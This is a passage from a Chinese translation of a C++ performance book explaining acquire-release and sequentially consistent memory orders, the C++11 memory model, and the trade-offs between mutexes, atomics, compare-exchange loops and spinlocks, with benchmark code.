幸运的是,我们可以使用其他内存顺序保证。最重要的是获取-释放内存顺序。当使用此顺序执行原子操作时,我们保证任何访问内存的操作在执行原子操作之前,并在另一个线程执行相同原子变量的原子操作之前变得可见。同样,所有在原子操作之后执行的操作只有在相同变量上的原子操作之后才变得可见。再次强调,当我们谈论操作的可见性时,我们真正意味着它们的结果对其他 CPU 变得可观察。这在图 5.10中是显而易见的:在左边,我们有CPU0执行的操作。在右边,我们有CPU1看到的相同操作。特别要注意的是,右边显示的原子操作是原子写。但CPU1并没有执行原子写:它执行原子读以查看CPU0执行的原子写的结果。其他所有操作也是如此:在左边,顺序是由CPU0执行的。在右边,顺序是由CPU1看到的。
图 5.10 - 使用获取-释放内存顺序的操作的可见性
获取-释放顺序保证是一个简洁的陈述,包含了许多重要信息,让我们详细阐述一些不同的观点。首先,该顺序是相对于两个线程在同一个原子变量上执行的操作而定义的。直到两个线程以原子方式访问相同的变量,它们的“时钟”相对于彼此来说是完全任意的,我们无法推断出某件事情发生在另一件事情之前或之后,这些词语是没有意义的。只有当一个线程观察到另一个线程执行的原子操作的结果时,我们才能谈论“之前”和“之后”。在我们的生产者-消费者示例中,生产者原子地增加计数器N
。消费者原子地读取相同的计数器。如果计数器没有改变,我们对生产者的状态一无所知。但是,如果消费者看到计数器已经从 N 变为 N+1,并且两个线程都使用获取-释放内存顺序,我们知道生产者在增加计数器之前执行的所有操作现在对消费者可见。这些操作包括构造现在驻留在数组元素buffer[N]
中的对象所需的所有工作,因此,消费者可以安全地访问它。
第二个显著的观点是,当访问原子变量时,两个线程都必须使用获取-释放内存顺序。如果生产者使用此顺序来增加计数,但消费者以松散的内存顺序读取它,那么对任何操作的可见性就没有任何保证。
最后一点是,所有顺序保证都是以原子变量上的操作“之前”和“之后”来给出的。同样,在我们的生产者-消费者示例中,当消费者看到计数器改变时,我们知道生产者执行的操作结果构造第 N 个对象对消费者是可见的。对这些操作变得可见的顺序没有任何保证。你可以在图 5.10中看到这一点。当然,这对我们来说不重要:在对象构造之前我们不能触摸任何部分,一旦构造完成,我们也不关心它是以什么顺序完成的。具有内存顺序保证的原子操作充当着其他操作无法移动的屏障。你可以想象在图 5.10中有这样一个屏障,将整个程序分成两个不同的部分:在计数增加之前发生的一切和之后发生的一切。因此,通常方便将这样的原子操作称为内存屏障。
让我们假设一下,在我们的程序中,对计数器N
的所有原子操作都有获取-释放屏障。这肯定会保证程序的正确性。然而,请注意,获取-释放顺序对我们的需求来说有些过度。对于生产者来说,它给了我们一个保证,即在我们将计数增加到 N+1 之前构造的所有对象buffer[0]
到buffer[N]
在消费者看到计数从 N 变为 N+1 时将对其可见。我们需要这个保证。但我们也有保证,为了构造剩余的对象buffer[N+1]
及更多对象而执行的操作尚未变得可见。我们不关心这一点:消费者在看到下一个计数值之前不会访问这些对象。同样,在消费者方面,我们有保证,消费者看到计数变为 N+1 后执行的所有操作的效果(内存访问)将发生在该原子操作之后。我们需要这个保证:我们不希望 CPU 重新排序我们的消费者操作,并在准备好之前执行一些访问对象buffer[N]
的指令。但我们也有保证,消费者处理之前的对象如buffer[N-1]
的工作已经完成并对所有线程可见,然后消费者才会移动到下一个对象。同样,我们不需要这个保证:没有什么依赖它。
拥有比严格必要的更强保证有什么害处?在正确性方面,没有。但这是一本关于编写快速程序的书(也是正确的)。为什么首先需要顺序保证?因为在自己的设备上,编译器和处理器几乎可以任意重新排序我们的程序指令。为什么他们会这样做?通常是为了提高性能。因此,可以推断出,我们对执行重新排序的能力施加的限制越多,对性能的不利影响就越大。因此,一般来说,我们希望使用足够严格以确保程序正确性的内存顺序,但不要更严格。
对于我们的生产者-消费者程序,给我们提供了确切所需的内存顺序如下。在生产者方面,我们需要获取-释放内存屏障提供的保证的一半:在具有屏障的原子操作之前执行的所有操作必须在执行相应的原子操作之前对其他线程可见。这被称为释放内存顺序:
图 5.11 – 释放内存顺序
当CPU1看到由CPU0执行的具有释放内存顺序的原子写操作的结果时,可以保证,根据CPU1看到的内存状态,已经反映了在这个原子操作之前由CPU0执行的所有操作。请注意,我们没有提到原子操作之后由CPU0执行的操作。正如我们在图 5.11中看到的,这些操作可能以任何顺序变得可见。原子操作创建的内存屏障只在一个方向上有效:在屏障之前执行的任何操作都不能越过它,并在屏障之后被看到。但是屏障在另一个方向上是可渗透的。因此,释放内存屏障和相应的获取内存屏障有时被称为半屏障。
获取内存顺序是我们在消费者方面需要使用的。它保证了屏障后执行的所有操作在屏障后对其他线程可见,如图 5.12所示:
图 5.12 – 获取内存顺序
获取和释放内存屏障总是成对使用的:如果一个线程(在我们的情况下是生产者)使用原子操作的释放内存顺序,另一个线程(消费者)必须在同一个原子变量上使用获取内存顺序。为什么我们需要两个屏障?一方面,我们保证生产者在增加计数之前构建新对象的所有操作在消费者看到这个增量时已经可见。但这还不够,另一方面,我们保证消费者执行的操作来处理这个新对象不能被移动到时间上向后,到达屏障之前的时刻,此时它们可能已经看到了一个未完成的对象。
现在我们明白了仅仅在共享数据上进行原子操作是不够的,您可能会问我们的生产者-消费者程序是否实际上有效。事实证明,无论是锁版本还是无锁版本都是正确的,即使我们没有明确说明内存顺序。那么,在 C++中如何控制内存顺序呢?
C++中的内存顺序
首先,让我们回想一下我们的生产者-消费者程序的无锁版本,即具有原子计数器的版本:
std::atomic<size_t> N; // Count of initialized objects
T* buffer; // Only [0]…[N-1] are initialized
… Producer …
{
new (buffer + N) T( … arguments … );
++N; // Atomic, no need for locks
}
… Consumer …
for (size_t i = 0; keep_consuming(); ++i) {
while (N <= i) {}; // Atomic read
consume(buffer[i]);
}
计数器N
是一个原子变量,是由模板std::atomic
生成的类型参数为size_t
的对象。所有原子类型都支持原子读写操作,即它们可以出现在赋值操作中。此外,整数原子类型具有常规整数操作的定义和实现,因此++N
是原子增量(并非所有操作都被定义,例如没有*=
运算符)。这些操作都没有明确指定内存顺序,那么我们有什么保证呢?事实证明,默认情况下,我们获得了最强大的可能保证,即每个原子操作都具有双向内存屏障(实际保证甚至更严格,您将在下一节中看到)。这就是为什么我们的程序是正确的。
如果您认为这太过分了,您可以将保证减少到您需要的部分,但您必须明确说明。原子操作也可以通过调用std::atomic
类型的成员函数来执行,并且在那里您可以指定内存顺序。消费者线程需要一个带有获取屏障的加载操作:
while (N.load(std::memory_order_acquire) <= i);
生产者线程需要一个带有释放屏障的增量操作(就像增量运算符一样,成员函数也返回增量之前的值):
N.fetch_add(1, std::memory_order_release);
在我们继续之前,我们必须意识到我们在优化中跳过了一个非常重要的步骤。开始上一段的正确方式是,“如果您认为这太过分,您必须通过性能测量来证明,然后才能将保证减少到您需要的部分”。即使在使用锁时编写并发程序也很困难;使用无锁代码,尤其是显式内存顺序,必须得到证明。
说到锁,它们提供了什么内存顺序保证?我们知道由锁保护的任何操作将被稍后获取锁的任何其他线程看到,但其他内存呢?锁的使用强制执行的内存顺序如图 5.13所示:
图 5.13 - 互斥锁的内存顺序保证
互斥锁内部至少有两个原子操作。锁定互斥锁相当于使用获取内存顺序的读操作(这解释了名称:这是我们在获取锁时使用的内存顺序)。该操作创建了一个半屏障,任何在此之前执行的操作都可以在屏障之后看到,但在获取锁之后执行的任何操作都不能被观察到。当我们解锁互斥锁或释放锁时,释放内存顺序是有保证的。在此屏障之前执行的任何操作将在屏障之前变得可见。您可以看到,获取和释放的一对屏障充当了它们之间代码部分的边界。这被称为临界区:在临界区内执行的任何操作,也就是在线程持有锁时执行的操作,将在其他线程进入临界区时变得可见。没有操作可以离开临界区(变得更早或更晚可见),但来自外部的其他操作可以进入临界区。至关重要的是,没有这样的操作可以穿过临界区:如果外部操作进入临界区,它就无法离开。因此,CPU0在其临界区之前执行的任何操作都保证在CPU1在其临界区之后变得可见。
对于我们的生产者-消费者程序,这转化为以下保证:
… Producer …
new (buffer + N) T( … arguments … );
{ // Critical section start – acquire lock
std::lock_guard l(mN);
++N;
} // Critical section end - Release lock
… Consumer …
{ // Critical section – acquire lock
std::lock_guard l(mN);
n = N;
} // Critical section – release lock
consume(buffer[N]);
生产者执行的所有操作以构造第 N 个对象为例都在生产者进入临界区之前完成。它们将在消费者离开其临界区并开始消费第 N 个对象之前对消费者可见。因此,程序是正确的。
您刚刚阅读的部分介绍了内存顺序的概念,并用示例进行了说明。但是,当您尝试在代码中使用这些知识时,您会发现结果极不一致。为了更好地理解性能,您应该从不同的方式同步多线程程序以及避免数据竞争中期望什么,我们需要以更少的含糊方式描述内存顺序和相关概念。
内存模型
我们需要一种更系统和严格的方式来描述线程通过内存的交互,它们对共享数据的使用以及对并发应用的影响。这种描述被称为内存模型。内存模型描述了线程访问相同内存位置时存在的保证和限制。
在 C++11 标准之前,C++语言根本没有内存模型(标准中没有提到线程这个词)。为什么这是个问题?再次考虑我们的生产者-消费者示例(让我们专注于生产者方面):
std::mutex mN;
size_t N = 0;
…
new (buffer + N) T( … arguments … );
{ // Critical section start – acquire lock
std::lock_guard l(mN);
++N;
} // Critical section end - release lock
lock_guard
只是一个围绕互斥锁的 RAII 包装器,所以我们不会忘记解锁它,所以代码可以简化为这样:
std::mutex mN;
size_t N = 0;
…
new (buffer + N) T( … arguments … ); // N
mN.lock(); // mN
++N; // N
mN.unlock(); // mN
请注意,此代码的每一行都使用变量N
或对象nM
,但它们从不在一次操作中同时使用。从 C++的角度来看,这段代码类似于以下代码:
size_t n, m;
++m;
++n;
在这段代码中,操作的顺序并不重要,编译器可以自由地重新排序它们,只要可观察的行为不发生变化(可观察的行为是输入和输出,改变内存中的值不是可观察的行为)。回到我们最初的例子,为什么编译器不会重新排序那里的操作呢?
mN.lock(); // mN
mN.unlock(); // mN
++N; // N
这将是非常糟糕的,然而,在 C++标准中(直到 C++11 之前)没有任何东西阻止编译器这样做。
当然,早在 2011 年之前,我们就已经在 C++中编写了多线程程序,那么它们是如何工作的呢?显然,编译器并没有进行这样的优化,但是为什么呢?答案在于内存模型:编译器提供了一些超出 C++标准的保证,并在标准不要求的情况下提供了某种内存模型。基于 Windows 的编译器遵循 Windows 内存模型,而大多数基于 Unix 和 Linux 的编译器提供了 POSIX 内存模型和相应的保证。
C++11 标准改变了这一点,并为 C++提供了自己的内存模型。我们已经在前一节中利用了它:伴随原子操作的内存顺序保证,以及锁,都是这个内存模型的一部分。C++内存模型现在保证了跨平台的可移植性,以前的平台根据其内存模型提供了不同的一组保证。此外,C++内存模型提供了一些特定于语言的保证。
我们已经在不同的内存顺序规范中看到了这些保证:relaxed、acquire、release 和 acquire-release。C++还有一种更严格的内存顺序,称为std::memory_order_seq_cst
,这是当你不指定顺序时默认的顺序:不仅每个指定此顺序的原子操作都有一个双向内存屏障,而且整个程序都满足顺序一致性要求。这个要求规定程序的行为就好像所有处理器执行的所有操作都是按照一个全局顺序执行的。此外,这个全局顺序具有一个重要的特性:考虑在一个处理器上执行的任意两个操作 A 和 B,使得 A 在 B 之前执行。这两个操作必须以 A 在前、B 在后的顺序出现在全局顺序中。你可以把一个顺序一致的程序想象成这样:想象每个处理器都有一副牌,牌就是操作。然后我们将这些牌堆在一起,而不混洗它们;一副牌的牌会在另一副牌的牌之间滑动,但是同一副牌的牌的顺序永远不会改变。合并后的一副牌就是程序中操作的明显全局顺序。顺序一致性是一个理想的特性,因为它使得并发程序的正确性更容易推理。然而,它通常会以性能的代价为代价。我们可以在一个非常简单的基准测试中展示这个代价,比较不同的内存顺序:
void BM_order(benchmark::State& state) {
for (auto _ : state) {
x.store(1, memory_order);
… unroll the loop 32 times for better accuracy …
x.store(1, memory_order);
benchmark::ClobberMemory();
}
state.SetItemsProcessed(32*state.iterations());
}
我们可以使用不同的内存顺序来运行这个基准测试。结果当然会取决于硬件,但以下结果并不罕见:
图 5.14 - acquire-release 与顺序一致性内存顺序的性能
C++内存模型还有很多内容,不仅仅是原子操作和内存顺序。例如,当我们之前研究了伪共享时,我们假设从多个线程同时访问数组的相邻元素是安全的。这是有道理的:这些是不同的变量。然而,语言甚至编译器采用的额外限制也不能保证这一点。在大多数硬件平台上,访问整数数组的相邻元素确实是线程安全的。但对于更小的数据类型,比如bool
数组,情况绝对不是这样。许多处理器使用掩码整数写入来写入单个字节:它们加载包含此字节的整个 4 字节字,将字节更改为新值,然后将字写回。显然,如果两个处理器同时对共享相同 4 字节字的两个字节执行此操作,第二个写入将覆盖第一个写入。C++11 内存模型要求,如果没有两个线程访问相同的变量,那么写入任何不同的变量,比如数组元素,都是线程安全的。在 C++11 之前,很容易编写一个程序来证明从两个线程写入两个相邻的bool
或char
变量是不安全的。我们之所以在本书中没有这个演示,是因为即使您将标准级别指定为 C++03(这并不是保证,编译器可能会使用掩码写入以在 C++03 模式下写入单个字节,但大多数编译器在 C++11 模式下使用与 C++11 模式相同的指令),今天可用的编译器也不会回退到 C++03 行为的这一方面。
C++内存模型的最后一个例子也包含了一个有价值的观察:语言和编译器并不是定义内存模型的全部。硬件有一个内存模型,操作系统和运行时环境有它们的内存模型,程序运行的硬件/软件系统的每个组件都有一个内存模型。整体内存模型,程序可用的所有保证和限制的总集,是所有这些内存模型的叠加。有时您可以利用这一点,比如在编写特定于处理器的代码时。然而,任何可移植的 C++代码只能依赖于语言本身的内存模型,而且往往其他底层内存模型会带来复杂性。
由于语言和硬件的内存模型差异,会出现两种问题。首先,您的程序可能存在无法在特定硬件上检测到的错误。考虑我们为生产者-消费者程序使用的获取-释放协议。如果我们犯了一个错误,在生产者端使用了释放内存顺序,但在消费者端使用了松散内存顺序(根本没有屏障),我们会期望程序会间歇性地产生错误结果。然而,如果您在 x86 CPU 上运行此程序,它看起来是正确的。这是因为 x86 架构的内存模型是这样的,每个存储都伴随着一个释放屏障,每个加载都有一个隐式获取屏障。我们的程序仍然有一个错误,如果我们将其移植到比如 iPad 中的基于 ARM 的处理器上,它会让我们遇到麻烦。但是在 x86 硬件上找到这个 bug 的唯一方法是使用类似 GCC 和 Clang 中可用的Thread Sanitizer(TSAN)这样的工具。
第二个问题是第一个问题的反面:降低内存顺序的限制并不总是会带来更好的性能。正如您刚刚所学到的,从释放到松散的内存顺序在 x86 处理器上的写操作上并不会带来任何好处,因为整体内存模型仍然保证释放顺序(理论上,编译器可能会对松散内存顺序进行更多优化,而不是释放内存顺序,但是大多数编译器根本不会跨原子操作优化代码)。
内存模型为讨论程序如何与内存系统交互提供了科学基础和共同语言。内存屏障是程序员在代码中实际使用的工具,用于控制内存模型的特性。通常情况下,通过使用锁隐式地调用这些屏障,但它们总是存在的。合理使用内存屏障可以极大地提高某些高性能并发程序的效率。
摘要
在本章中,我们了解了 C++内存模型以及它给程序员的保证。结果是对多个线程通过共享数据进行交互时发生的低级细节有了深入的理解。
在多线程程序中,未同步和无序的内存访问会导致未定义的行为,必须尽一切可能避免。然而,通常情况下代价是性能。虽然我们总是更看重正确的程序而不是快速但不正确的程序,但在内存同步方面,很容易为了正确性而付出过高的代价。我们已经看到了管理并发内存访问的不同方式,它们的优势和权衡。最简单的选择是锁定对共享数据的所有访问。另一方面,最复杂的实现使用原子操作,并尽可能限制内存顺序。
性能的第一准则在这里完全适用:性能必须被测量,而不是猜测。这对于并发程序来说更加重要,因为聪明的优化可能由于多种原因而无法产生可衡量的结果。另一方面,你始终可以保证的是,使用锁的简单程序更容易编写,而且更有可能是正确的。
掌握了影响数据共享性能的基本因素,你可以更好地理解测量结果,以及在何时尝试优化并发内存访问时有一些感觉:受内存顺序限制影响的代码部分越大,放宽这些限制就越有可能提高性能。另外,要记住,一些限制来自硬件本身。
总的来说,这比你在前几章中需要处理的任何内容都要复杂得多(这并不奇怪,总的来说,并发性本身就很难)。下一章将展示一些你可以在程序中管理这种复杂性的方法,而不放弃性能优势。你还将看到你在这里学到的知识的实际应用。
问题
-
什么是内存模型?
-
为什么理解对共享数据的访问如此重要?
-
是什么决定了程序的整体内存模型?
-
什么限制了并发性带来的性能提升?
第二部分:高级并发
本节将探讨使用并发来实现高性能的更高级方面。您将学习使用互斥锁实现线程安全的最佳方法,以及何时避免使用它们,而选择无锁同步。您还将了解 C++并发特性的最新补充:协程和并行算法。
本节包括以下章节:
-
第六章, 并发与性能
-
第七章, 并发数据结构
-
第八章, C++中的并发
第六章:并发和性能
在上一章中,我们了解了影响并发程序性能的基本因素。现在是时候将这些知识付诸实践,学习开发高性能并发算法和数据结构,以实现线程安全的程序。
一方面,要充分利用并发,必须对问题和解决方案策略进行高层次的考虑:数据组织、工作分区,有时甚至是解决方案的定义,这些选择对程序的性能产生重要影响。另一方面,正如我们在上一章中所看到的,性能受低级因素的影响很大,比如缓存中数据的排列,甚至最佳设计也可能被糟糕的实现破坏。这些低级细节通常很难分析,在代码中很难表达,并且需要非常小心的编码。这不是您希望散布在程序中的代码类型,因此封装棘手的代码是必要的。我们将不得不考虑最佳的封装这种复杂性的方法。
在本章中,我们将涵盖以下主要主题:
-
高效的并发
-
锁的使用、锁定的陷阱和无锁编程的介绍
-
线程安全的计数器和累加器
-
线程安全的智能指针
技术要求
再次,您将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的 Google Benchmark 库(可在github.com/google/benchmark
找到)。本章附带的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter06
找到。
有效使用并发需要什么?
从根本上讲,利用并发来提高性能非常简单:您只需要做两件事。第一件事是为并发线程和进程提供足够的工作,以便它们始终保持忙碌状态。第二件事是减少对共享数据的使用,因为正如我们在上一章中所看到的,同时访问共享变量非常昂贵。其余的只是实现的问题。
不幸的是,实现往往相当困难,而且当期望的性能增益更大,硬件变得更强大时,困难程度会增加。这是由于阿姆达尔定律,这是每个处理并发的程序员都听说过的东西,但并非每个人都完全理解其影响的全部范围。
法律本身非常简单。它规定,对于具有并行(可扩展)部分和单线程部分的程序,最大可能的加速度s如下:
在这里,是程序并行部分的加速度,
是程序的并行部分。现在考虑一下对于在大型多处理器系统上运行的程序的后果:如果我们有 256 个处理器,并且能够除了微不足道的 1/256 的运行时间之外充分利用它们,那么程序的总加速度将受到限制,最多为 128,也就是说,它被减半了。换句话说,如果程序只有 1/256 是单线程或在锁定状态下执行,那么即使我们对程序的其余部分进行了多少优化,该 256 处理器系统的总容量也永远不会超过 50%。
这就是为什么在开发并发程序时,设计、实现和优化的重点应该放在使剩余的单线程计算并发化上,并减少程序访问共享数据的时间上。
第一个目标,使计算并发,从选择算法开始,但许多设计决策都会影响结果,因此我们应该更多地了解它。第二个目标,减少数据共享的成本,是上一章的主题的延续:当所有线程都在等待访问某个共享变量或锁(锁本身也是一个共享变量)时,程序实际上是单线程的,只有当前具有访问权限的线程在运行。这就是为什么全局锁和全局共享数据对性能特别不利。但即使是在几个线程之间共享的数据,如果同时访问,也会限制这些线程的性能。
正如我们之前多次提到的,数据共享的需求基本上是由问题本身的性质驱动的。任何特定问题的数据共享量都可能受算法、数据结构的选择以及其他设计决策的极大影响,同时也受实现的影响。一些数据共享是实现的产物或者是数据结构选择的结果,但其他共享数据则是问题本身固有的。如果我们需要计算满足某种属性的数据元素的数量,最终只有一个计数,所有线程都必须将其更新为共享变量。然而,实际发生了多少共享以及对总程序加速的影响如何,这取决于实现。
在本章中,我们将追求两个方向:首先,鉴于某种程度的数据共享是不可避免的,我们将探讨如何使这个过程更加高效。然后,我们将考虑可以用来减少数据共享需求或减少等待访问这些数据的时间的设计和实现技术。我们首先解决第一个问题,即高效的数据共享。
锁、替代方案及其性能
一旦我们接受了一些数据共享是不可避免的,我们也必须接受对共享数据的并发访问进行同步的需求。请记住,任何对相同数据的并发访问,如果没有这样的同步,都会导致数据竞争和未定义的行为。
保护共享数据最常见的方法是使用互斥锁:
std::mutex m;
size_t count;// Guarded by m
… on the threads …
{
std::lock_guard l(m);
++count;
}
在这里,我们利用了 C++17 模板类型推导的std::lock_guard
;在 C++14 中,我们需要指定模板类型参数。
使用互斥锁通常是相当简单的:任何访问共享数据的代码都应该在临界区内,也就是在锁定和解锁互斥锁的调用之间。互斥锁的实现带有正确的内存屏障,以确保临界区中的代码不能被硬件或编译器移出它(编译器通常根本不会在锁定操作之间移动代码,但理论上,它们可以进行这样的优化,只要它们遵守内存屏障的语义)。
通常在这一点上提出的问题是:“互斥锁的成本有多高?”然而,这个问题并没有很好地定义:我们当然可以给出绝对的答案,以纳秒为单位,针对特定的硬件和给定的互斥锁实现,但这个值意味着什么?它肯定比没有互斥锁更昂贵,但没有互斥锁,程序将不正确(而且有更简单的方法使不正确的程序运行得非常快)。因此,“昂贵”只能与替代方案进行比较来定义,这自然地引出了另一个问题,那就是替代方案是什么?
最明显的替代方案是将计数设为原子的:
std::atomic<size_t> count;
… on the threads …
++count;
我们还必须考虑的是,我们真正需要与计数操作相关联的内存顺序是什么。如果计数稍后用于,比如,索引到一个数组中,我们可能需要释放-获取顺序。但如果它只是一个计数,我们只是想计算一些事件并报告数量,我们就不需要任何内存顺序限制:
std::atomic<size_t> count;
… on the threads …
count.fetch_add(1, std::memory_order_relaxed);
我们是否真的得到任何屏障取决于硬件:在 X86 上,原子增量指令具有双向内存屏障“内置”,并且请求松散的内存顺序不会使其更快。然而,明确指定代码真正需要的要求非常重要,无论是为了可移植性还是为了清晰度:请记住,你真正的受众不是必须解析你的代码的编译器,而是需要以后阅读它的其他程序员。
具有原子增量的程序没有锁,也不需要任何锁。然而,它依赖于特定的硬件能力:处理器具有原子增量指令。这类指令的集合相当小。如果我们需要一个没有原子指令的操作,我们会怎么做?我们不必为一个例子走得太远:在 C++中,没有原子乘法(我不知道有哪个硬件具有这样的能力;当然,在 X86 或 ARM 或任何其他常见的 CPU 架构上都找不到)。
幸运的是,有一种“通用”的原子操作可以用来构建各种不同难度的读-修改-写操作。这个操作被称为compare_exchange
。它有两个参数:第一个是原子变量的预期当前值,第二个是期望的新值。如果实际当前值与预期值不匹配,什么也不会发生,原子变量不会发生变化。然而,如果当前值与预期值匹配,期望的值将被写入原子变量。C++的compare_exchange
操作返回 true 或 false,表示写入是否发生(如果发生则为 true)。如果变量与预期值不匹配,则实际值将在第一个参数中返回。通过比较和交换,我们可以以以下方式实现我们的原子增量操作:
std::atomic<size_t> count;
… on the threads …
size_t c = count.load(std::memory_order_relaxed);
while (!count.compare_exchange_strong(c, c + 1,
std::memory_order_relaxed, std::memory_order_relaxed)) {}
有几点需要注意:首先,在 C++中,该操作的实际名称是compare_exchange_strong
。还有compare_exchange_weak
;它们的区别在于弱版本有时即使当前值和预期值匹配也可能返回 false(在 X86 上没有区别,但在某些平台上,弱版本可能导致更快的整体操作)。其次,该操作不是一个而是两个内存顺序参数:第二个适用于比较失败时(因此它是操作的比较部分的内存顺序)。第一个适用于比较成功和写入发生时。
让我们分析一下这个实现是如何工作的。首先,我们原子地读取计数的当前值c
。递增的值当然是c + 1
,但我们不能简单地将其分配给计数,因为另一个线程在我们读取它之后但在我们更新它之前可能已经递增了计数。因此,我们必须进行条件写入:如果计数的当前值仍然是c
,则用期望的值c + 1
替换它。否则,用新的当前值更新c
(compare_exchange_strong
为我们做到了这一点),然后重试。只有当我们最终捕捉到一个时刻,即原子变量在我们最后一次读取它和我们尝试更新它之间没有发生变化时,循环才会退出。当然,当我们有原子增量操作时,没有理由做任何这些来增加计数。但这种方法可以推广到任何计算:我们可以使用任何其他表达式而不是c + 1
,程序仍然可以正常工作。
尽管代码的三个版本都执行相同的操作,即增加计数,但它们之间存在根本的区别,我们必须更详细地探讨这些区别。
基于锁的、无锁的和无等待的程序
第一个版本,使用互斥锁,是最容易理解的:任何时候只有一个线程可以持有锁,因此该线程可以增加计数而无需进一步预防措施。一旦锁被释放,另一个线程可以获取它并增加计数,依此类推。在任何时候,最多只有一个线程可以持有锁并取得任何进展;所有需要访问的剩余线程都在等待锁。但即使持有锁的线程通常也不能保证向前进行:如果它在完成工作之前需要访问另一个共享变量,它可能在等待由其他线程持有的锁。这是常见的基于锁的程序,通常不是最快的,但是最容易理解和推理。
第二个程序呈现了一个非常不同的情景:到达原子增量操作的任何线程都会立即执行它。当然,硬件本身必须锁定对共享数据的访问,以确保操作的原子性(正如我们在上一章中所看到的,这是通过一次只向一个处理器授予对整个缓存行的独占访问来实现的)。从程序员的角度来看,这种独占访问表现为执行原子操作所需的时间增加。然而,在代码本身中,没有等待任何东西,也没有尝试和重试。这种程序被称为无等待。在无等待程序中,所有线程始终在取得进展,也就是执行操作(尽管如果线程之间为了访问相同的共享变量而存在严重争用,一些操作可能需要更长时间)。无等待实现通常只适用于非常简单的操作(例如增加计数),但每当它可用时,通常甚至比基于锁的实现更简单。
理解最后一个程序的行为需要更多的努力。没有锁;然而,有一个重复未知次数的循环。在这方面,实现类似于锁:任何等待锁的线程也被困在类似的循环中,试图并失败地获取锁。然而,有一个关键的区别:在基于锁的程序中,当一个线程未能获取锁并且必须重试时,我们可以推断其他线程持有锁。我们无法确定该线程是否会很快释放锁,或者实际上是否在完成工作并释放它持有的锁(例如,它可能正在等待用户输入)。在基于比较和交换的程序中,我们的线程失败更新共享计数的唯一方式是因为其他线程首先更新了它。因此,我们知道,在同时尝试增加计数的所有线程中,至少有一个始终会成功。这种程序被称为无锁。
我们刚刚看到了三种主要类型的并发程序的示例:
-
在无等待程序中,每个线程都在执行它需要的操作,并始终朝着最终目标取得进展;没有等待访问,也不需要重新做任何工作。
-
在无锁程序中,多个线程可能尝试更新相同的共享值,但只有一个线程会成功。其余的将不得不丢弃他们已经基于原始值完成的工作,读取更新后的值,并重新计算。但至少有一个线程始终保证提交其工作并且不必重新做;因此,整个程序始终在取得进展,尽管不一定以最快的速度。
-
最后,在基于锁的程序中,一个线程持有可以访问共享数据的锁。但仅仅因为它持有锁并不意味着它正在处理这些数据。因此,当并发访问发生时,最多只有一个线程在取得进展,但这也不是保证的。
理论上,这三个程序之间的差异是明显的。但我打赌每个读者都想知道同一个问题的答案:哪一个更快?我们可以在 Google 基准测试中运行代码的每个版本。例如,这是基于锁的版本:
std::mutex m;
size_t count = 0;
void BM_lock(benchmark::State& state) {
if (state.thread_index == 0) count = 0;
for (auto _ : state) {
std::lock_guard l(m);
++count;
}
}
BENCHMARK(BM_lock)->Threads(2)->UseRealTime();
必须在全局范围内声明在线程之间必须共享的变量。初始设置(如果有的话)可以限制在一个线程中。其他基准测试类似;只有被测量的代码会发生变化。以下是结果:
图 6.1 - 共享计数增量的性能:基于互斥锁,无锁(比较和交换,或 CAS),无等待(原子)
这里唯一可能出乎意料的结果是基于锁的版本表现得有多糟糕。然而,这只是一个数据点,而不是整个故事。特别是,虽然所有互斥锁都是锁,但并非所有锁都是互斥锁。我们可以尝试提出更有效的锁实现(至少对我们的需求来说更有效)。
不同的问题需要不同的锁
我们刚刚看到,当使用标准的 C++互斥锁来保护对共享变量的访问时,其性能非常差,特别是当有许多线程同时尝试修改此变量时(如果所有线程都在读取变量,则根本不需要保护它;并发只读访问不会导致任何数据竞争)。但是,锁的效率低是因为其实现,还是因为锁的性质固有的问题?根据我们在上一章中学到的知识,我们可以预期任何锁都会比原子递增计数器要低效一些,因为基于锁的方案使用了两个共享变量,即锁和计数器,而原子计数器只使用了一个共享变量。然而,操作系统提供的互斥锁通常对于锁定非常短的操作(比如我们的计数增量)并不特别高效。
对于这种情况,最简单且最有效的锁之一是基本自旋锁。自旋锁的想法是:锁本身只是一个标志,可以有两个值,比如 0 和 1。如果标志的值为 0,则锁未被锁定。任何看到这个值的线程都可以将标志设置为 1 并继续;当然,读取标志并将其设置为 1 的整个操作必须是一个单一的原子操作。任何看到值为 1 的线程都必须等待,直到值再次变为 0,表示锁可用。最后,当将标志从 0 更改为 1 的线程准备释放锁时,将值再次更改为 0。
实现此锁的代码如下:
class Spinlock {
public:
void lock() {
while (flag_.exchange(1, std::memory_order_acquire)) {}
}
void unlock() { flag_.store(0, std::memory_order_release); }
private:
std::atomic<unsigned int> flag_;
};
我们只在代码片段中显示了锁定和解锁函数;该类还需要默认构造函数(原子整数在其默认构造函数中初始化为 0),以及使其不可复制的声明。
请注意,锁定标志不使用条件交换:我们总是将 1 写入标志。它能够工作的原因是,如果标志的原始值为 0,则交换操作将其设置为 1 并返回 0(循环结束),这正是我们想要的。但是,如果原始值为 1,则它被替换为 1,也就是根本没有变化。
另外,请注意两个内存屏障:锁定伴随着获取屏障,而解锁则使用释放屏障。这些屏障一起限定了临界区,并确保在调用lock()
和unlock()
之间编写的任何代码都留在那里。
您可能期望看到此锁与标准互斥锁的比较基准,但我们不打算展示它:这个自旋锁的性能很糟糕。为了使其有用,需要进行几项优化。
首先要注意的是,如果标志的值为 1,我们实际上不需要将其替换为 1,我们可以让它保持不变。为什么这很重要?交换是一个读-修改-写操作。即使它将旧值更改为相同的值,它也需要独占访问包含标志的缓存行。我们不需要独占访问只是为了读取标志。这在以下情况下很重要:锁定了一个锁,拥有锁的线程没有改变它(它正忙于工作),但所有其他线程都在检查锁,并等待值更改为 0。如果它们不尝试写入标志,缓存行就不需要在不同的 CPU 之间反弹:它们都有内存的相同副本在它们的缓存中,并且这个副本是当前的,不需要将任何数据发送到任何地方。只有当其中一个线程实际更改值时,硬件才需要将内存的新内容发送到所有 CPU。这是我们刚刚描述的优化,在代码中完成:
class Spinlock {
void lock() {
while (flag_.load(std::memory_order_relaxed) ||
flag_.exchange(1, std::memory_order_acquire)) {}
}
}
这里的优化是,我们首先读取标志,直到看到 0,然后将其与 1 交换。如果另一个线程首先获得了锁,那么在我们进行检查和交换之间,值可能已经更改为 1。另外,请注意,在预先检查标志时,我们根本不关心内存屏障,因为最终的确定性检查总是使用交换及其内存屏障完成。
